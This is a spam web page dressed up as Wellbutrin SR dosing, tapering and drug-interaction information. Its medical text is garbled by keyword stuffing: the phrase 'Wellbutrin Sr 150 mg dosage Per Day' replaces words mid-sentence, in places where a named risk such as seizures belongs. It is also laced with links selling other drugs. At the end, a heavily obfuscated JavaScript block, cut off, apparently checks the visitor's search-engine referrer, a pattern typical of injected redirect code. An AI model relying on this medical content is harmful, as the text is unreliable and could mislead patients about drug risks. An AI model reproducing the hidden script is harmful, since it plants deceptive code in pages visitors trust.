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Wellbutrin Sr 150 mg Dosage Per Day

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Use low initial doses and increase the dose gradually [see Contraindications 4, Warnings and Precautions 5. Adverse reactions have included restlessness, agitation, tremor, ataxia, gait disturbance, Wellbutrin Sr 150 mg dosage Per Day, and dizziness. It is presumed that the toxicity results from cumulative dopamine agonist effects. Use with Alcohol In postmarketing experience, there have been rare reports of adverse neuropsychiatric events or reduced alcohol tolerance cheap Zestril patients who were drinking alcohol during treatment with Wellbutrin SR. The consumption of alcohol during Wellbutrin Sr 150 mg dosage Per Day with Wellbutrin SR should be minimized or avoided. MAO Inhibitors Bupropion inhibits the reuptake of dopamine and norepinephrine.

Concomitant buy Nolvadex of MAOIs and bupropion is contraindicated because there is an increased risk of hypertensive reactions if bupropion is used concomitantly with MAOIs. Studies in animals demonstrate that the acute toxicity of bupropion is enhanced by the MAO inhibitor phenelzine.

At least 14 days should elapse between discontinuation Vente Libre Floxin 100 mg This is due to lack of Wellbutrin Sr 150 mg dosage Per Day of some screening tests.

False-positive test results may result even following discontinuation of bupropion therapy. No clear evidence of teratogenic activity was found in reproductive developmental studies conducted in rats and rabbits; however, in rabbits, slightly increased incidences of fetal malformations and skeletal variations were observed at doses approximately equal to the maximum recommended human dose MRHD and greater and decreased fetal weights were seen at doses twice the MRHD and greater. Wellbutrin SR should be used during Wellbutrin Sr 150 mg dosage Per Day only if the potential benefit justifies the potential risk to the fetus.

Clinical Considerations Consider the risks of untreated depression when discontinuing or changing treatment with antidepressant medications during pregnancy and postpartum. Human Data Data from the international bupropion Pregnancy Registry 675 first trimester exposures and a retrospective cohort study using the United Healthcare database 1,213 first trimester exposures did not show an increased risk for malformations overall. No increased risk for cardiovascular malformations overall has been observed after bupropion exposure during the first trimester. The prospectively observed rate of cardiovascular malformations in pregnancies with exposure to bupropion in the first trimester from the international Pregnancy Registry was 1. Data from the United Healthcare database and a case-control study 6,853 infants with cardiovascular malformations and 5,763 with non-cardiovascular malformations from the National Birth Defects Prevention Study NBDPS did not show an increased risk for cardiovascular malformations overall after bupropion exposure during the first trimester.

Note that these symptoms may be different than the SSRI discontinuation symptoms, or those of other antidepressants. Symptoms can occur within hours to three days after discontinuation and may include: The length of time it takes to completely stop taking Wellbutrin may depend on how long you were on the medication and the dose you were prescribed. Your doctor will determine the best way to taper Wellbutrin. The usual target dose of Wellbutrin according to the manufacturer is 300 mg per day in the form of 150 mg twice daily with a maximum dose at 400mg per day as 200 mg twice daily ; however, your specific prescription may vary. Always follow prescribed dosages. The standard reduction schedule for patients at the target dosage of 300 mg daily is to reduce to 200 mg at the first reduction, followed by subtracting 50 mg on subsequent reductions; however, the amount of time and dosage between reductions will ultimately depend on your first initial reaction to the first reduction, which your doctor will monitor closely to help your determine the best reduction schedule for you.

The process can take anywhere from weeks to months depending on the individual patient. With extended or sustained release formulations, you cannot cut the tablets.

Wellbutrin

Tapering these formulations may include having to prescribe lower dose tablets or taking the same dose at longer intervals such as every other day. Keep track of your tapering schedule by writing down the dates and the dosage changes. Even if you are tapering off Wellbutrin, Wellbutrin Sr 150 mg Dosage Per Day, it is still possible to experience discontinuation symptoms, such as the ones mentioned in Part 1. Keep track and talk to your doctor if you develop any of these symptoms. Discontinuation symptoms have a quick onset, slowly get better over one to two weeks, and include more physical complaints. In order to differentiate between relapse and discontinuation symptoms, look at when the symptoms start, how long they last, and the type of symptoms. While discontinuation symptoms with bupropion are not common, there is a greater risk www.cottoncandylover.com patient not starting a new antidepressant with a similar pharmacodynamic profile.

Be sure to seek the advice of a qualified medical or mental health professional before making any changes in your medication regimen. Is it possible for depression symptoms to return even though I am taking my Wellbutrin XL as prescribed? Wellbutrin is indicated for depression. Side effects of Wellbutrin include headache, insomnia, nausea, dizziness, appetite changes and tremor or shaking. This is not a complete list of side effects associated with Wellbutrin, consult with your doctor if your depression is worsening or not controlled with the Wellbutrin.

Do not discontinue any medication without consulting with a doctor. Does Wellbutrin cause bad dreams? Recently, I was switched to it and have noticed Wellbutrin Sr 150 mg dosage Per Day patterns to be more vivid. Wellbutrin bupropion is an antidepressant that is used to treat depression. The most common side effects with Wellbutrin are dry mouth, headache, agitation, nausea, dizziness, constipation, and tremor. Other side effects with Wellbutrin include sweating, abnormal dreams, insomnia, and weight loss. This is not a complete list of the side effects associated with Wellbutrin. For more specific information, consult your doctor or pharmacist for guidance based on your health status and current medications, particularly before taking any action. If possible, use one pharmacy for all your prescription medications and over-the-counter products.

You can also report them to the U. Megan Uehara, PharmD Q: How do I know how Wellbutrin Sr 150 mg dosage Per Day a dosage is right? The starting adult dose of Wellbutrin is 150 mg daily. It’s important to discuss your teen’s particular medical situation and needs with her health care provider to determine the dosage that’s right for her. For the past four months, I’ve been taking Wellbutrin daily for depression. How can I tell if the medication is still effective? I still am feeling down. Can you build up a tolerance after awhile? Wellbutrin bupropion is a prescription medicine used to treat adults with a certain type of depression called major depressive disorder. It can also help prevent autumn-winter seasonal depression seasonal affective disorder.

If you’re taking Wellbutrin for major depressive disorder, it may take several weeks for you to feel that it’s working. Once you feel better, it’s important to keep taking the Wellbutrin exactly as directed by your doctor. Call your doctor if you don’t think the Wellbutrin is working for you. What are the long-term effects of taking Wellbutrin?

How about any effects from taking Celexa? It’s also sometimes used to help quit smoking. The most common side effects of Wellbutrin include increased heart rate, headache, insomnia, dizziness, weight loss, nausea, Wellbutrin Sr 150 mg Dosage Per Day, dry mouth, and pharyngitis. It may cheap Vermox increase the risk of Wellbutrin Sr 150 mg dosages Per Day and, like all antidepressants, it carries the warning of increased risk of suicide in young adults. Wellbutrin should be avoided in patients with eating disorders. Its most common side effects include drowsiness, Wellbutrin Sr 150 mg Dosage Per Day, insomnia, nausea, dry mouth, and sweating. SSRIs are more likely to cause sexual side effects than Wellbutrin.

Celexa carries the same warning about suicide risk as does Wellbutrin. Laura Cable, PharmD Q: Are there side effects to buy Zofran and current medications, particularly before taking any action.

I also take 400 mg Wellbutrin SR. I was reading an article, www.studiodentisticocesanoboscone.it prescription.

My eating habits are good to very good. According to the National Institutes of Health, the best way to get enough vitamins is to eat a balanced diet with a variety of foods. In some cases, a daily multivitamin may be needed for optimal health. There are numerous formulations and different combinations of vitamins and minerals. The need for vitamin supplementation and the choice of the most appropriate vitamin preparation may depend on many patient-specific characteristics. Thus, it is important to consult with your physician or health care provider regarding the intake of vitamins. Because herbs and supplements are not strictly regulated by the U. In Wellbutrin Sr 150 mg dosage Per Day, dietary supplements should only be taken under the supervision of your health care provider.

There are no known interactions between vitamins and Wellbutrin bupropion that we are aware of. The herbal supplements St. John’s wort, 5HT, and SAM-e should not be taken with any antidepressants because they work on the same chemicals in the brain serotonin and norepinephrine. Lori Poulin, PharmD Q: Does Wellbutrin cause weight gain, or prevent weight loss?

Wellbutrin bupropion is classified as a dopamine reuptake inhibitor antidepressant and as a smoking cessation aid. Wellbutrin is approved for the treatment of depression and as an adjunct in smoking cessation. According to medical references, weight gain is not a common side effect reported by studied patients taking Wellbutrin. However, weight loss is a common reported side effect of patients taking Wellbutrin. If you think that you are experiencing a side effect from a medication, talk to your physician. Do not stop taking or change the dose of the medication without first talking to your physician. If you are trying to lose weight, Everyday Health provides valuable information about weight.

Click here to access the articles. Can Wellbutrin cause weight loss? Wellbutrin bupropion is an antidepressant medication. It is used to treat major depression and seasonal affective disorder. Kava Kava, Piper methysticum: Moderate The German Commission E and other groups warn that any substances that act on the CNS, including psychopharmacologic agents, may interact with the phytomedicinal kava kava, Piper methysticum. These interactions are probably pharmacodynamic in nature, or result from additive mechanisms of action. Severe Due to an increased risk of hypertensive reactions, treatment initiation with bupropion is contraindicated in patients currently receiving linezolid, an antibiotic that is also a non-selective monoamine oxidase MAO inhibitor.

Conversely, in patients receiving bupropion and requiring urgent treatment with linezolid, bupropion should be discontinued immediately and linezolid therapy initiated only if acceptable alternatives are not available and the potential benefits of linezolid outweigh the risks. The patient should be monitored for hypertensive reactions for two weeks or until 24 hours after the last dose of linezolid, whichever comes first.

Bupropion may be re-initiated 24 hours after the last dose of linezolid. Major The risk of seizures from the use of bupropion may be increased with concomitant use of CNS stimulants that may induce Wellbutrin Sr 150 mg dosages Per Day, including the lisdexamfetamine. Moderate Monitor for orthostatic hypotension and bradycardia during concurrent use of lofexidine and bupropion. Patients receiving this combination should be monitored for the emergence of serotonin syndrome or Neuroleptic Malignant Syndrome NMS like signs and symptoms. Moderate Lumacaftor; ivacaftor may reduce the efficacy of bupropion by decreasing its systemic exposure. If used together, monitor patients closely for loss of bupropion efficacy; a bupropion dosage adjustment may be required to obtain the desired therapeutic effect.

Do not exceed the maximum recommended dose. Bupropion is a substrate of CYP2B6; in vitro data suggest that lumacaftor may induce this enzyme.

In addition, bupropion inhibits the hepatic isozyme CYP2D6 and thus may reduce the clearance of maprotiline leading to a potential for increased Cmax, AUC and half-life. Maprotiline appears to be metabolized via CYP2D6. If bupropion is added to a regimen of a patient already receiving maprotiline, the need to reduce the maprotiline dosage should be considered, Wellbutrin Sr 150 mg Dosage Per Day.

Moderate Additive anticholinergic effects buy Cialis Black of opiate agents metabolized by CYP2D6 such as methadone may be increased if bupropion is added. If used together, use low initial doses of bupropion and increase the dose gradually. Moderate Additive anticholinergic effects may be seen when methscopolamine is used concomitantly with bupropion.

If used together, it may be necessary to decrease the dose of mexiletine and slowly titrate to Wellbutrin Sr 150 mg dosage Per Day. Excessive use of benzodiazepines is associated with an increased seizure risk; seizures may be more likely to occur in these patients during concurrent use of bupropion. Moderate Use mifepristone with caution with bupropion. The risk for bupropion-induced adverse reactions, including nausea, dry Wellbutrin Sr 150 mg dosage Per Day, restlessness or difficulty with sleep, seizures, hypertension, or neuropsychiatric effects may be increased. It is unclear whether modafinil lowers the seizure threshold. Seizures have occurred during post-marketing use of modafinil, although the frequency is unknown. Nebivolol is metabolized by CYP2D6. Although data are lacking, CYP2D6 Wellbutrin Sr 150 mg dosages Per Day, such as bupropion, could potentially increase nebivolol plasma concentrations via CYP2D6 inhibition; the clinical significance of this potential interaction is unknown, but an increase in adverse effects is possible.

Minor In vitro studies suggest that nelfinavir inhibits the hydroxylation of bupropion. The clinical significance of this finding is unknown.

Wellbutrin Sr 150 mg Dosage Per Day

Moderate Combination of nicotine and bupropion may induce clinically significant blood pressure elevations in some patients. Close monitoring of blood pressure is recommended if this combination is prescribed. Minor Nitroglycerin can cause hypotension. This action may be additive with other agents that can cause hypotension such as antidepressants. Patients should be monitored more closely for hypotension if nitroglycerin is used concurrently with antidepressants. Major Use of medications that lower the seizure threshold should be carefully evaluated when considering intrathecal radiopaque contrast agents.

More about Wellbutrin SR (bupropion)

Bupropion Tadalafil Safe Buy muscle, but also on GI function, the eye, and temperature regulation.

In addition, in vitro studies suggest that paroxetine inhibit the hydroxylation of bupropion. Excessive use of phendimetrazine is associated with an increased seizure risk; seizures may be more likely to occur in these patients during concurrent use of bupropion. Excessive use of psychostimulants, such as phentermine, may be associated with an increased seizure risk; therefore, seizures may be more likely to occur in patients receiving this weight loss aide with bupropion. Do not combine therapy with phentermine or phentermine-combinations and bupropion; naltrexone due to this risk and the duplication of therapy for weight loss.

Elevated concentrations of pimozide can lead to QT prolongation, ventricular arrhythmias, and sudden death. Therefore, concurrent use of bupropion and Wellbutrin Sr 150 mg dosages Per Day with MAO activity, such as procarbazine, should be avoided. Concentrations of medications metabolized by CYP2D6, such as propafenone, may be increased if bupropion is added. Dosage reductions of propafenone may be needed. Moderate Additive anticholinergic effects may be seen when propantheline is used concomitantly with bupropion. The manufacturer of rasagiline advises against concurrent use with any antidepressant.

Wellbutrin Sr 150 mg Dosage Per Day

Major Initiate risperidone at a reduced dose in patients receiving bupropion. For the long-acting risperidone injection, the current adult dosage should be closely monitored when bupropion is initiated or discontinued. An adjustment of the dose may be required. Bupropion is a strong CYP2D6 inhibitor. Risperidone is a CYP2D6 substrate. In addition, in vitro studies suggest that sertraline inhibits the hydroxylation of bupropion.

Is 150 mg of Wellbutrin SR once a day effective?

The risk of seizures with bupropion is dose related and is also related to patient factors, clinical situations, and concomitant medications that lower the seizure threshold. Consider these risks before initiating treatment If used together, use low initial doses of bupropion and increase buy Xalatan dose gradually. Tamoxifen is metabolized by CYP2D6 to endoxifen and 4-hydroxytamoxifen, both of which are minor metabolites but have 100-fold greater affinity for the estrogen receptor and 30- to 100-fold greater potency in suppressing estrogen-dependent cell proliferation than tamoxifen. In one study, the Wellbutrin Sr 150 mg dosage Per Day steady-state endoxifen plasma concentration was significantly reduced in patients taking CYP2D6 inhibitors compared to those not taking concomitant CYP2D6 inhibitors.

In another study, the mean steady-state plasma concentration of endoxifen in CYP2D6 normal metabolizers who were not receiving CYP2D6 inhibitors were 3. The clinical significance is not well established. Moderate The concomitant use of thiotepa and bupropion may increase the exposure of bupropion but decrease hydroxybupropion exposure; however, the clinical relevance of this interaction is unknown. Dosage adjustment of bupropion may be necessary based on clinical response. Adverse reactions of bupropion, such as tremor, nausea, dry mouth, insomnia, headache, or seizures, may be more likely to occur.

Moderate Tobacco contains nicotine as one of its Wellbutrin Sr 150 mg dosage Per Day components, but it is unclear if continuing to smoke concurrently with bupropion use increases the risk of blood pressure elevation. Bupropion has not been reported to interact pharmacokinetically with tobacco when used as monotherapy for smoking cessation; however, when bupropion is used as monotherapy, patients should schedule a date to stop tobacco smoking during the second week of taking bupropion.

If the patient is prescribed a combination of bupropion with nicotine replacement therapy like Nicotine patches to stop smoking; then the patient should stop Tobacco smoking before starting to use the Wellbutrin Sr 150 mg dosage Per Day replacement therapy. Monitor blood pressure during Wellbutrin Sr 150 mg dosage Per Day cessation treatment. Moderate Additive anticholinergic effects may be seen when trihexyphenidyl is used concomitantly with bupropion. Clinicians should note that additive antimuscarinic effects may be seen not only on GI smooth muscle, but also on bladder function and temperature regulation.

While CNS-related side effects such as drowsiness and blurred vision are not typically noted with trospium, they may occur in some patients. Valproic Acid, Divalproex Sodium: The vortioxetine dose should be increased to the original level when the CYP2D6 inhibitor is discontinued. Moderate When bupropion is used for smoking cessation, be aware that changes in the INR may occur in patients previously stabilized on warfarin as tobacco smoking is reduced or halted, as smoking affects CYP1A2, one of the enzymes involved in warfarin metabolism. The authors could not discern a probable mechanism for the potential interaction, but the patient was also reducing his daily tobacco smoking status, Patients who are receiving warfarin with bupropion should be carefully monitored if the patient is also altering their smoking status.

Dosage reductions in zolpidem may be needed if bupropion is used concurrently.

dLhmGow

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,56,54,119,112,72,84,77,76,60,34,48,47,63,38,95,43,85,67,87,83,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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